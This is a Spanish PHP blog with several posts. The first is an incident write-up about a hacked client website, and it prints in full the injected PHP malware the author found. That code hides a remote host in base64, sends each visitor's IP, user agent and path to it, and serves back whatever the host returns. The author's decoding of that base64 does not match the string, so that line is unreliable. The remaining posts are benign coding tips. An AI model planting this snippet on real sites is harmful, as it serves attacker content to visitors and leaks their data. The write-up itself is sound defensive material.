Web Hackeada (BlackHole Exploit Kit)

diciembre 5, 2012

He estado estos dos últimos días revisando la web de un cliente que había sido Hackeada. Los antivirus de varios de sus usuarios les saltaban con el aviso de amenaza de tipo BlackHole Exploit Kit y abortaban la conexión.

Tras revisar el log del servidor y comprobar varias entradas por FTP de una dirección procedente de Canadá, revisé los archivos que parecían haber sido modificados por este intruso. En este caso, varios archivos index.php situados en distintos directorios del servidor.

En todos estos archivos se había incluido este pedazo de código PHP.

<?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER[‘HTTP_USER_AGENT’]); //  Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = “”;
if((strstr($sUserAgent, ‘google’) == false)&&(strstr($sUserAgent, ‘yahoo’) == false)&&(strstr($sUserAgent, ‘baidu’) == false)&&(strstr($sUserAgent, ‘msn’) == false)&&(strstr($sUserAgent, ‘opera’) == false)&&(strstr($sUserAgent, ‘chrome’) == false)&&(strstr($sUserAgent, ‘bing’) == false)&&(strstr($sUserAgent, ‘safari’) == false)&&(strstr($sUserAgent, ‘bot’) == false)) // Bot comes
{
if(isset($_SERVER[‘REMOTE_ADDR’]) == true && isset($_SERVER[‘HTTP_HOST’]) == true){ // Create  bot analitics
$stCurlLink = base64_decode( ‘aHR0cDovL2Jyb3dzZXJnbG9iYWxzdGF0LmNvbS9zdGF0RC9zdGF0LnBocA==’).’?ip=’.urlencode($_SERVER[‘REMOTE_ADDR’]).’&useragent=’.urlencode($sUserAgent).’&domainname=’.urlencode($_SERVER[‘HTTP_HOST’]).’&fullpath=’.urlencode($_SERVER[‘REQUEST_URI’]).’&check=’.isset($_GET[‘look’]);
@$stCurlHandle = curl_init( $stCurlLink );
}
}
if ( $stCurlHandle !== NULL )
{
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
$sResult = @curl_exec($stCurlHandle);
if ($sResult[0]==”O”)
{$sResult[0]=” “;
echo $sResult; // Statistic code end
}
curl_close($stCurlHandle);
}
}
?>

El texto codificado en Base64  aHR0cDovL2Jyb3dzZXJnbG9iYWxzdGF0LmNvbS9zdGF0RC9zdGF0LnBocA contiene esta dirección [http://hotlogupdate.com/stat/stat.php]

En este caso, el código es facilmente reconocible. En otras ocasiones el código incluido es un javascript ofuscado bastante mas dificil de detectar.

Si vuestra web es hackeada e infectada por este u otro tipo de código malicioso es recomendable que toméis las siguientes medidas aparte de eliminar el molesto código claro …

1. Cambiar las credenciales de acceso al panel de control del Alojamiento (plesk, cpanel …)

2. Cambiar las credenciales de la cuenta FTP

3. Revisar los equipos desde los que se ha accedido con la cuenta FTP cuyas credenciales parecen haber sido sustraidas en busca de algún tipo de Troyano que el hacker haya podido utilizar para sustraerlas.

 


Urls amigables (SEF Url) para VirtueMart 2.0.6

junio 28, 2012

Por todos es sabida la importancia de las url´s amigables  para el posicionamiento de nuestra web. En el caso de los sitios desarrollados con VirtueMart, ya existen varias extensiones que nos permiten convertir en amigables las url´s de nuestra tienda  (aceSEF, joomSEF, … ), pero la mayoría de estos casos solo merecen la pena las versiones de pago.

En realidad, si lo que necesitamos es simplemente convertir en amigables las urls de nuestro VirtueMart, basta con editar el router.php que podemos encontrar en /components/com_virtuemart.

Paul Mason publicó hace algún tiempo un router.php para hacer amigables las url del Virtuemart 1.x.x. Yo me he limitado ha realizar  las modificaciones necesarias para que este nos sirva en la nueva versión de Virtuemart (2.0.x), que presenta cambios significativos en la estructura de su base de datos con respecto a las anteriores versiones de VirtueMart.

Tan solo teneís que sustituir este archivo por el que se encuentra en: /components/com_virtuemart y en la configuración global  del Joomla activar el  “Search Engine Friendly Url” y  “use Apache mod_rewrite”. 

Recordad que tenéis que cambiar el nombre del  archivo htaccess.txt por el de .htaccess.

Descargar router.php para VirtueMart 2.0.6


Extraer dimensiones de un SWF con Curl

diciembre 21, 2010

Ya hemos hablado en alguna ocasión de que, a menudo, nos encontramos con la imposibilidad de utilizar la función fopen por estar deshabilitada (por seguridad) en el servidor contratado.

Una alternativa a fopen es la libreria curl.

En este ejemplo vamos a utilizarla para extraer las dimensiones de un archivo .swf  externo, algo que he necesitado últimamente. Aquí os lo dejo por si os resulta útil.

<?php

function swfDimensions ($swfPath) {
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, $swfPath);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
$contents = curl_exec($ch);
curl_close($ch);

//creamos el fichero donde volcaremos los datos almacenados en $contens;
$fp = fopen (“swf/temp.swf”, “w”);
fwrite ($fp, $contents);
fclose($fp);

list($width, $height) = getimagesize(‘swf/temp.swf’);

$dimensions[“width”] =  $width;
$dimensions[“height”] = $height;

//eliminamos el swf una vez extraidos los datos

unlink (“swf/temp.swf”);

return $dimensions;
}

$dimensiones = swfDimensions (“http://www.dominio.com/rutaATuSWF/tuSWF.swf&#8221;);
echo $dimensiones[“width”].” “.$dimensiones[“height”];
?>


Clase SQL Import actualizada

octubre 4, 2010

La clase SQL Import ha sido actualizada gracias a Yannick Luescher.

Las mejoras en la clase son las siguientes:

– Posibilidad de seleccionar la base de datos al crear una instancia de objeto:
$db = new sqlImport(‘dump.sql’, false, ‘localhost’, ‘testuser’, ‘testpass’, ‘testdbase’);
$db->import();
if ($db->error) exit($db->error);
else echo “Data written successfully“;

– Funciona con ambos finales de linea (/r /n) (Para hacerlo funcionar con /r ver php.net)

– Funciona cuando se utiliza “;” dentro de sentencias SQL

– Verificación del parámetro agregado a la salida que será escrito en la base de datos.

– If host isn’t set the active connection will be used (if any) as always.
Si el servidor no estabece la conexión activa se utilizará como siempre.

Clase:
http://www.phpclasses.org/package/4898-PHP-Execute-MySQL-queries-imported-from-a-file.html


PHP Quiz, ¿Cuanto sabes de PHP?

octubre 5, 2009

Aquí os dejo la dirección de este durísimo test que puede ayudaros a descubir si realmente sois los magníficos Gurús de PHP que creeis ser. Absternerse espíritus frágiles.

http://phparch.cn/index.php/equiz


Easy Weekly Calendar, Calendario Semanal en PHP

septiembre 29, 2009

Os dejo el enlace a la página de la nueva clase que he publicado en phpclasses.org.

Easy Weekly Calendar es una clase que genera calendarios semanales de fácil implementación en aquellas aplicaciones que requieran de una agenda u horario semanal.

La clase genera una tabla Html con el calendario semanal (de Lunes a Domingo) a partir de una fecha dada. Además genera los enlaces para avanzar o retroceder un día  a partir de la fecha en la que se encuentra.

http://www.phpclasses.org/browse/package/5708.html


Conocer el numero de la semana dentro de determinado mes, partiendo de una fecha determinada con PHP

septiembre 28, 2009

Últimamente he estado trabajando en una clase para generar calendarios semanales y que he publicado en phpclasses.org. Cuando se apruebe la clase publicaré el enlace para su descarga.

La función que mas me ha costado desarrollar ha sido la destinada a extraer en que semana (1ª, 2ª …) nos encontramos dentro de determinado mes, partiendo de una fecha determinada.

La verdad es que estuve buscando por internet algo que me pudiera servir pero no encontré nada, así que termine por tener que buscarme la vida y creo que el resultado es satisfactorio. Aquí lo comparto con vosotros. Espero que os sirva de ayuda.

function numberOfWeek ($dia, $mes, $ano) {

//generamos la fecha para el día 1 del mes y año especificado
$fecha = mktime ($hora, $min, $seg, $mes, 1, $ano);

/*
El número de semana en el que nos encontramos será igual a:
– el día espeficado +
– el número de día de la semana (lunes, martes …) al que se corresponde la fecha almacenada en $fecha – 1
– entre 7 días que tiene la semana.

Quedando la fórmula de la siguiente manera …
*/
$numberOfWeek = ceil (($dia + (date (“w”, $fecha)-1)) / 7);

return $numberOfWeek;
}

//mostramos en pantalla el resultado devuelto por la función

echo numberOfWeek ("8","9", "2009");